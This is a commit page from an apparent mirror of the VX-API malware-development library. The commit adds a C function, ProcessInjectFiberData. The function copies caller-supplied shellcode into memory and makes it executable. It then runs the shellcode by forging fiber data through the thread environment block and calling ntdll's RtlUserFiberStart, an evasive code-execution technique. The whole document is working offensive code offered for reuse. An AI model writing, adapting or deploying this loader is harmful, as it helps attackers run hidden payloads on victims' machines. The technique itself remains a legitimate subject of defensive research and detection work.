mirror of
https://github.com/vxunderground/VX-API
synced 2026-06-06 16:54:55 +00:00
Create ProcessInjectFiberData Function
This commit is contained in:
@@ -0,0 +1,46 @@
|
||||
#include "Win32Helper.h"
|
||||
|
||||
typedef int(WINAPI* RtlUserFiberStart)();
|
||||
|
||||
DWORD ProcessInjectFiberData(PCHAR Shellcode, DWORD Length)
|
||||
{
|
||||
NTSTATUS status;
|
||||
DWORD OldProt = 0;
|
||||
|
||||
PTEB pTeb = GetTeb();
|
||||
PVOID pTebFlags = (PVOID)((UINT_PTR)pTeb + 0x17ee);
|
||||
*(PCHAR)pTebFlags = *(PCHAR)pTebFlags | 0x4;
|
||||
|
||||
|
||||
HMODULE hModule = GetModuleHandleA("ntdll.dll");
|
||||
RtlUserFiberStart pRtlUserFiberStart = (RtlUserFiberStart)GetProcAddress(hModule, "RtlUserFiberStart");
|
||||
|
||||
LPVOID BufferAddress = VirtualAlloc(NULL,
|
||||
Length,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE);
|
||||
|
||||
RtlCopyMemory(BufferAddress, Shellcode, Length);
|
||||
|
||||
status = VirtualProtect(BufferAddress,
|
||||
Length,
|
||||
PAGE_EXECUTE_READ,
|
||||
&OldProt);
|
||||
|
||||
if (status != 0)
|
||||
{
|
||||
UINT_PTR pFiberData = (UINT_PTR)HeapAlloc(GetProcessHeap(),
|
||||
HEAP_ZERO_MEMORY,
|
||||
0x100);
|
||||
|
||||
*(LPVOID*)(pFiberData + 0x0a8) = BufferAddress;
|
||||
|
||||
__writegsqword(0x20, pFiberData);
|
||||
pRtlUserFiberStart();
|
||||
|
||||
HeapFree(GetProcessHeap(), 0, (LPVOID)pFiberData);
|
||||
}
|
||||
|
||||
VirtualFree(BufferAddress, Length, MEM_RELEASE);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user